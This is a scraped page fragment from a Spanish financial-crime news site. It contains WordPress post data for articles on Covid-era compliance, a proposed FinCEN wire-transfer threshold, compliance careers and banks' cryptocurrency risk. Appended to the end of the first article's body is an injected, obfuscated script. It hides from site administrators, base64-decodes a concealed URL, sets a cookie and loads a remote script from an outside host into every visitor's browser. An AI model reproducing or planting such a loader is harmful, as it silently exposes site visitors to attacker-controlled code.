padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. UU. y que los valores promedio y medios en d\u00f3lares de los fondos mencionados en los ROS eran de aproximadamente US$ 509 y US$ 255, respectivamente,\u00a0<a href=\"https:\/\/www.federalregister.gov\/documents\/2020\/10\/27\/2020-23756\/threshold-for-the-requirement-to-collect-retain-and-transmit-information-on-funds-transfers-and\" target=\"_blank\" rel=\"noopener noreferrer\">seg\u00fan la propuesta<\/a>.\u00a0<\/p><p>\u201cEs posible que algunas instituciones financieras no reconozcan o retengan registros de todas las actividades sospechosas por debajo del umbral de US$ 3.000 o el patr\u00f3n sospechoso no se hace visible hasta que se agreguen los registros\u201d, dijeron las agencias en la propuesta. \"Esto podr\u00eda impedir que las autoridades investiguen y mapeen las redes il\u00edcitas\".<\/p><p>El cambio de regla propuesto, para el cual las agencias piden al p\u00fablico que presente comentarios hasta el 27 de noviembre, aumentar\u00eda la carga de cumplimiento para los bancos y podr\u00eda encontrar resistencia de la industria, dijeron los observadores.<\/p><p>Esta nueva iniciativa podr\u00eda significar una carga importante para los bancos que terminar\u00eda encareciendo las transferencias internacionales de menor valor debido a que har\u00eda m\u00e1s caro la supervisi\u00f3n e incrementar\u00eda los costos de cumplimiento.<\/p><p>Sin embargo, las agencias de EE.UU. se\u00f1alaron que el cambio propuesto no deber\u00eda tener un gran impacto en el costo y la eficiencia del sistema de pago. Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p>Para ingresar y progresar en un campo tan complejo y cambiante como el dela prevenci\u00f3n y control de los delitos financieros, hay que prepararse para enfrentar las incertidumbres de latecnolog\u00eda, paraabordar temas en los que se sienta \"inc\u00f3modo\" \u2013ae incluso en los que no se sienta capacitado\u2014, para finalmente poder sobresalir como profesional de cumplimiento..<\/p>\n\n\n\n<p>Esos son solo algunos de los consejos y t\u00e1cticas sobre c\u00f3mo iniciarse y ascender en el campo de la lucha contra el lavado de dinero (ALD\/CFT) ofrecidos por  los principales profesionales de cumplimiento de delitos financierosque participaron en la reciente Cumbre Virtual de ACFCS: <strong><u>El Futuro del Fincrime en Canad\u00e1.<\/u><\/strong><\/p>\n\n\n\n<p>M\u00e1s de 2.000 profesionales se registraron para el evento de tres d\u00edas, que estuvo repleto de capacitaci\u00f3n precisa y relevante, <em>networking<\/em>, juegos, obsequios y mucho m\u00e1s.<\/p>\n\n\n\n<p>La conferencia cubri\u00f3 temas de todo el amplio arco de los delitos financieros y cumplimiento tanto en el sector p\u00fablico como en el privado, incluidos puntos regulatorios clave, tendencias de aplicaci\u00f3n, criptograf\u00eda, marihuana, an\u00e1lisis de datos, trata de personas. La cumbre incluy\u00f3 un d\u00eda completo dedicado a las habilidades laborales y t\u00e1cticas para irrumpir en el campo y progresar profesionalmente.<\/p>\n\n\n\n<p>El jueves, el \u00faltimo d\u00eda de la conferencia, oficiales de cumplimiento, investigadores y funcionarios del gobierno abordaron el tema de c\u00f3mo ingresar, sobrevivir y prosperar en el campo del cumplimiento y qu\u00e9 habilidades ayudar\u00edan a los profesionales a ser buscados por las instituciones y reclutadores profesionales,  ahora y en el futuro.<\/p>\n\n\n\n<p>Los oradores ofrecieron informaci\u00f3n y consejos sobre una serie de caminos para tener \u00e9xito en el campo de delitos financieros, ALD\/CFT y \u00e1reas relacionadas, incluyendo:<\/p>\n\n\n\n<p><strong>Acertijos convergentes<\/strong><\/p>\n\n\n\n<p>Si bien algunos bancos se preocupan por luchar contra el fraude , el primer error es no ver el fraude y las estructuras ALD\/CFTcomo hilos entrelazados de la misma tela criminal.<\/p>\n\n\n\n<p>Los equipos de cumplimiento deben saber comunicarse, coordinar y ser un verdadero aliado de las agencias de aplicaci\u00f3n de ley. Los bancos est\u00e1n rompiendo los silos entre los departamentos de delitos financieros, por lo que un conjunto diverso y variado de habilidades no es solo una ventaja, sino que podr\u00eda ayudar a preparar su carrera para el futuro.<\/p>\n\n\n\n<p><strong>Para mayor seguridad laboral, pruebe con la ciberseguridad<\/strong><\/p>\n\n\n\n<p>Acabamos de mencionar que los silos se est\u00e1n derrumbando y que ALD\/CFT y el fraude deben verse como hilos entrelazados de la misma tela criminal, ahora usted indefectiblemente debe prepararse para para fortalecer su conocimiento y pericia en  ciberseguridad.<\/p>\n\n\n\n<p>Si tiene experiencia cibern\u00e9tica, los oradores se\u00f1alaron que debe comenzar a  aprender m\u00e1s sobre el fraude y ALD\/CFT, ya que informaci\u00f3n tal como la ubicaci\u00f3n geogr\u00e1fica y la direcci\u00f3n IP de los atacantes virtuales son puntos cr\u00edticos para enriquecer los reportes de operaci\u00f3n sospechosa (ROS) para los investigadores, dentro y fuera del banco. Si usted es un fan\u00e1tico de la lucha contra el lavado de dineros o del fraude, descubra por qu\u00e9 la tecnolog\u00eda es un tema tan importante.<\/p>\n\n\n\n<p><strong>No le tema a la tecnolog\u00eda, m\u00e1s bien abr\u00e1cela<\/strong><\/p>\n\n\n\n<p>Para responder a los delincuentes expertos en tecnolog\u00eda, los bancos est\u00e1n comenzando a experimentar con elementos como inteligencia artificial, aprendizaje autom\u00e1tico y automatizaci\u00f3n con la intenci\u00f3n de analizar datos como nunca antes lo han hecho. \u00bfQu\u00e9 significa eso para usted como solicitante de empleo o incluso para alguien que quiere seguir trabajando?<\/p>\n\n\n\n<p>No deje toda la ingenier\u00eda de sistemas, el an\u00e1lisis de datos, el ajuste del monitoreo de transacciones o la investigaci\u00f3n cibern\u00e9tica en manos de proveedores externos o expertos internos. Descubra c\u00f3mo la tecnolog\u00eda puede potenciar su programa para poder responder con precisi\u00f3n y celeridad cuando los reguladores reanuden su rigorosa labor en un mundo postpandemia.<\/p>\n\n\n\n<p>Pero tambi\u00e9n recuerde que puede ser un gran atributo ser autosuficiente cuando se trata de problemas de software. Eso puede incluir algo tan simple como comprender c\u00f3mo desbloquear su PC o volver a conectarse a su wi-fi, sin tener que realizar una llamada a su chico o chica de \"sistemas\".<\/p>\n\n\n\n<p><strong>No se quede atascado en la investigaci\u00f3n<\/strong><\/p>\n\n\n\n<p>Si bien los oradores acordaron en general que estas nuevas tecnolog\u00edas ayudar\u00e1n a descubrir y combatir mejor a los estafadores, lavadores y otros oligarcas corruptos y sus testaferros, nunca reemplazar\u00e1n la necesidad de un profesional de carne y hueso para la toma de decisiones.<\/p>\n\n\n\n<p>Dondequiera que se encuentre en el campo ALD\/CFT, sea cual sea su rol, para ascender necesita aprender m\u00e1s y nunca dejar de aprender. Algunas veces estos aprendizajes se expanden a los mundos virtuales. <\/p>\n\n\n\n<p>Para crear una defensa m\u00e1s s\u00f3lida para su instituci\u00f3n y evitar que su banco se convierta en un conducto para que los grupos criminales laven dinero, debe saber c\u00f3mo intentan limpiar las ganancias il\u00edcitas. \u00bfC\u00f3mo? Manteni\u00e9ndose al d\u00eda con la moneda virtual.<\/p>\n\n\n\n<p>No se desv\u00ede del debate sobre si Bitcoin y otras monedas virtuales son dep\u00f3sitos reales y aut\u00e9nticos de valor, \u201cdinero Monopoly\u201d o algo en el medio. El punto central para los profesionales del cumplimiento es que los delincuentes est\u00e1n utilizando monedas virtuales por sumas de hasta US$1.000 millones de d\u00f3lares.<\/p>\n\n\n\n<p>Entonces, para no quedar pedaleando en el aire por falta de conocimiento, debe aprender qu\u00e9qu\u00e9 monedas virtuales son m\u00e1s riesgosas y poder sopesar los distintos riesgos. Aprenda c\u00f3mo los investigadores rastrean las transacciones \"pseudo\" an\u00f3nimas en la cadena de bloques o blockchain.<\/p>\n\n\n\n<p><strong> <\/strong>\u201cEl desarrollo personal y la creaci\u00f3n de redes con otros profesionales son clave para el crecimiento profesional. \u00a1Nunca deje de estudiar, mantenerse actualizado y crear una conexi\u00f3n significativa! \" dijo un asistente.<\/p>\n\n\n\n<p><strong>Si\u00e9ntase inc\u00f3modo<\/strong><\/p>\n\n\n\n<p>Un orador se\u00f1al\u00f3 que para convertirse en un profesional m\u00e1s completo, debe individualizar aquellas \u00e1reas a las que teme o en las que cree que no es bueno y zambullirse en ellas.<\/p>\n\n\n\n<p>Descubra d\u00f3nde tiene miedo, d\u00f3nde est\u00e1 d\u00e9bil y le falta confianza y convierta esas vulnerabilidades en fortalezas para que tenga menos puntos ciegos cuando se sienta presionado.<\/p>\n\n\n\n<p>El equilibrio es un poderoso aliado cuando los reclutadores de profesionales del \u00e1rea de cumplimiento de delitos financieros analizan su historial laboral general, una medida que puede ayudar a comprender mejor su enfoque hol\u00edstico e integral en \u00e1reas dentro y fuera del  cumplimiento.<\/p>\n","post_title":"Crecer como profesional de cumplimiento, superar el miedo a la tecnolog\u00eda, sentirse \"inc\u00f3modo\" para progresar: Panorama de la Cumbre de Canad\u00e1","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"crecer-como-profesional-de-cumplimiento-superar-el-miedo-a-la-tecnologia-sentirse-incomodo-para-progresar-panorama-de-la-cumbre-de-canada","to_ping":"","pinged":"","post_modified":"2020-11-24 17:57:44","post_modified_gmt":"2020-11-24 21:57:44","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25412","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25400,"post_author":"16","post_date":"2020-11-24 11:21:03","post_date_gmt":"2020-11-24 15:21:03","post_content":"\n<p><\/p>\n\n\n\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/4bb7abE4e7E\n<\/div><\/figure>\n\n\n\n<p>Recientes novedades en Estados Unidos sugieren que los reguladores se est\u00e1n preparando para la adopci\u00f3n permanente de los activos digitales y esperan que las instituciones financieras comprendan su exposici\u00f3n y mitiguen los riesgos asociados.<\/p>\n\n\n\n<p><strong>Durante los \u00faltimos meses en Estados Unidos:<\/strong><\/p>\n\n\n\n<ul><li>la Oficina del Contralor de la Moneda (OCC) aclar\u00f3 que los bancos nacionales pueden brindar servicios de custodia de activos digitales a los clientes y participar en ciertas actividades de <em>stablecoins<\/em>, tambi\u00e9n llamadas monedas estable,<\/li><li>la Divisi\u00f3n de Banca de Wyoming emiti\u00f3 su primera autorizaci\u00f3n para una instituci\u00f3n depositaria de prop\u00f3sito especiales (SPDI por sus siglas en ingl\u00e9s) para que Kraken se transforme en el primer intercambio de criptomonedas regulado como un banco, y<\/li><li>la Conferencia de Supervisores de Bancos Estatales (CSBS) present\u00f3 un conjunto \u00fanico de reglas de supervisi\u00f3n para que las empresas de criptomonedas puedan expandirse m\u00e1s f\u00e1cilmente en todo el pa\u00eds.<\/li><\/ul>\n\n\n\n<p>Estas novedades significan que los bancos y otras instituciones financieras tienen la oportunidad de pasar a una clase de activos emergentes que crecen en popularidad, particularmente entre los consumidores m\u00e1s j\u00f3venes. Sin embargo, comentarios recientes de Kenneth A. Blanco, Director de la Red de Ejecuci\u00f3n de Delitos Financieros del Departamento del Tesoro (FinCEN), la Unidad de Informaci\u00f3n Financiera de EE.UU., sugieren que incluso los bancos sin intenci\u00f3n de expandir sus negocios al espacio de las criptomonedas deben comprender este universo y monitorear las interacciones de sus clientes con este para cumplir con sus obligaciones regulatorias.<\/p>\n\n\n\n<p>El mes pasado, Blanco habl\u00f3 en una conferencia sobre los esfuerzos de los estafadores para aprovechar la crisis de Covid-19 y la respuesta de su agencia. Pero lo m\u00e1s notable de sus comentarios fue el tiempo que dedic\u00f3 a explicar por qu\u00e9 todos los bancos deben ser conscientes de su exposici\u00f3n a las criptomonedas y el riesgo que asumen al ignorarla.<\/p>\n\n\n\n<p>Espec\u00edficamente, dijo: \u201cUn tema que siempre aparece durante estas conversaciones se relaciona con la mitigaci\u00f3n de los riesgos asociados con los sistemas de pago emergentes, incluida la moneda virtual. Para ser claros, los intercambios de [moneda virtual] no son los \u00fanicos con exposici\u00f3n al riesgo de las monedas criptogr\u00e1ficas. Estos riesgos no son exclusivos de las empresas de servicios monetarios o los cambistas de divisas virtuales; los bancos tambi\u00e9n deben estar pensar en su exposici\u00f3n a las criptomonedas\".<\/p>\n\n\n\n<p>Las palabras de Blanco indican que un banco tradicional puede ser considerado responsable de la actividad il\u00edcita llevada a cabo con criptomonedas por sus clientes, incluso si el propio banco no proporciona servicios de custodia de criptomonedas.<\/p>\n\n\n\n<p>Por ejemplo, si un cliente transfiere fondos de su cuenta bancaria a un cambista de criptomonedas, compra criptomonedas y luego, digamos, env\u00eda esa criptomoneda a un individuo sancionado o al mercado de la red oscura, la exposici\u00f3n del banco a ese riesgo podr\u00eda ser preocupante para los reguladores.<\/p>\n\n\n\n<p>De manera similar, si un cliente extorsiona a otros en esquemas de <em>ransomware<\/em>, acepta criptomonedas en un intercambio que transfiere fondos a su cuenta bancaria, podr\u00eda estar exponiendo a su banco a riesgos. Analizaremos c\u00f3mo los bancos pueden prepararse para incorporar la criptomoneda en sus programas de cumplimiento.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/AdobeStock_192635639-1024x503.jpeg\" alt=\"\" class=\"wp-image-25404\"\/><\/figure>\n\n\n\n<p><strong><u>Comprender la exposici\u00f3n a las criptomonedas y el riesgo<\/u><\/strong><\/p>\n\n\n\n<p>Los bancos que eval\u00faan su riesgo de criptomonedas primero deben preguntarse si tienen alguna forma de identificar a los clientes actuales que usan criptomonedas.<\/p>\n\n\n\n<p>Algunos bancos pueden pensar que ninguno de sus clientes usa criptomonedas. De hecho, cuando la compa\u00f1\u00eda de investigaci\u00f3n de blockchain Chainalisys encuest\u00f3 a un grupo de profesionales de inversi\u00f3n hace un a\u00f1o, casi un tercio estim\u00f3 que ninguno de sus clientes realizaba transacciones con negocios de criptomonedas. Bancos como Wells Fargo han prohibido rotundamente a sus clientes enviar fondos a negocios de criptomonedas, lo que podr\u00eda llevarlos a creer que muy pocos o incluso ninguno de ellos lo est\u00e1n haciendo.<\/p>\n\n\n\n<p>Sin embargo, esto podr\u00eda no ser as\u00ed. Una encuesta reciente de la firma de consultor\u00eda financiera Cornerstone Advisors sugiere que el 15% de los estadounidenses ha comprado criptomonedas de alguna forma, y otro 11% dice que planea hacerlo en un futuro pr\u00f3ximo.<\/p>\n\n\n\n<p>Tambi\u00e9n sabemos por otras encuestas que es a\u00fan m\u00e1s probable que los consumidores m\u00e1s j\u00f3venes hayan comprado criptomonedas. Por lo tanto, parece improbable que cualquier banco con una base de clientes sustancial no tenga al menos algunos clientes que realicen transacciones con negocios de criptomonedas.<\/p>\n\n\n\n<p>Los bancos que informan una adopci\u00f3n nula de criptomonedas entre sus clientes probablemente no est\u00e1n obteniendo una imagen completa y podr\u00edan enfrentar problemas con los reguladores en el futuro.<\/p>\n\n\n\n<p>Si los bancos aceptan que al menos algunos de sus clientes probablemente est\u00e9n comprando criptomonedas, \u00bfc\u00f3mo adoptan un enfoque espec\u00edfico para administrar el riesgo asociado?<\/p>\n\n\n\n<p>El primer paso es conocer los intercambios de criptomonedas m\u00e1s populares. Los intercambios son las rampas principales de entrada y salida entre la criptomoneda y la moneda fiduciaria, y probablemente los lugares m\u00e1s comunes a los que sus clientes enviar\u00edan fondos para comprar criptomonedas. Los bancos necesitan crear un sistema para detectar intercambios en sus mensajes SWIFT, pagos ACH y transacciones con tarjeta de d\u00e9bito.<\/p>\n\n\n\n<p>Los principales intercambios de criptomonedas est\u00e1n en constante evoluci\u00f3n, por lo que los bancos tambi\u00e9n deben monitorearlos en tiempo real para que dicho programa sea efectivo.<\/p>\n\n\n\n<p>Si los bancos comenzaran a monitorear estas empresas en la actividad de sus clientes hoy, inevitablemente encontrar\u00edan transacciones relacionadas con las criptomonedas que no sab\u00edan que estaban sucediendo. A partir de ah\u00ed, deben evaluar el riesgo de esas transacciones en funci\u00f3n de sus pol\u00edticas actuales contra el lavado de dinero, verificando transacciones que sugieran una actividad sospechosa.<\/p>\n\n\n\n<p>A largo plazo, los bancos deber\u00e1n evaluar individualmente todos los intercambios con los que sus clientes realizan transacciones, as\u00ed como cualquier otro negocio de criptomonedas que los clientes est\u00e9n financiando desde sus cuentas bancarias.<\/p>\n\n\n\n<p>Para empezar, deben examinar el modelo comercial \u00fanico de cada intercambio, la calidad del programa de cumplimiento y la jurisdicci\u00f3n de operaci\u00f3n. Pero estos factores cualitativos no son suficientes por s\u00ed solos. Los bancos tambi\u00e9n deben evaluar la efectividad del cumplimiento de los intercambios midiendo su exposici\u00f3n a contrapartes riesgosas en otras partes del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>Estas mediciones ser\u00edan la se\u00f1al m\u00e1s fuerte de si un banco debiera o no hacer comerciar con un negocio de criptomonedas, pero la mayor\u00eda de los bancos no pueden obtener estos datos por s\u00ed mismos, por lo general se pueden asociar con proveedores de datos confiables que tengan un conocimiento del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>A medida que se sientan m\u00e1s c\u00f3modos con el espacio, los bancos tambi\u00e9n pueden trabajar para establecer relaciones con los equipos de cumplimiento en empresas de criptomonedas de renombre que sus clientes utilizan con m\u00e1s frecuencia y trabajar con ellos para resolver problemas juntos.<\/p>\n\n\n\n<p><strong><u>Los bancos deber\u00edan tener una ventaja en las criptomonedas<\/u><\/strong><\/p>\n\n\n\n<p>El tiempo es clave para los bancos, los comentarios de Blanco indican que los reguladores pronto esperar\u00e1n que puedan mostrar c\u00f3mo sus programas de cumplimiento ALD\/CFT abordan la actividad de las criptomonedas y cu\u00e1l es el nivel de riesgo relacionado con las criptomonedas. Los bancos har\u00edan bien en comenzar a recopilar esa informaci\u00f3n ahora, en lugar de esperar hasta que los reguladores la exijan.<\/p>\n\n\n\n<p>Si bien esto puede ser desalentador al principio, los departamentos de cumplimiento de los bancos eventualmente dominar\u00e1n las criptomonedas si toman estos pasos. Despu\u00e9s de eso, \u00bfqui\u00e9n sabe qu\u00e9 podr\u00eda pasar? Los bancos que actualmente no planean involucrarse en el espacio de criptomonedas pueden abrirse a la idea de la adopci\u00f3n institucional a medida que desarrollan e implementan procedimientos para mitigar el riesgo de las criptomonedas.<\/p>\n","post_title":"Los bancos necesitan comprender su exposici\u00f3n a las criptomonedas incluso si no toman custodia de estas","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"los-bancos-necesitan-comprender-su-exposicion-a-las-criptomonedas-incluso-si-no-toman-custodia-de-estas","to_ping":"","pinged":"","post_modified":"2020-11-24 16:21:23","post_modified_gmt":"2020-11-24 20:21:23","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25400","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25409,"post_author":"16","post_date":"2020-11-23 11:33:00","post_date_gmt":"2020-11-23 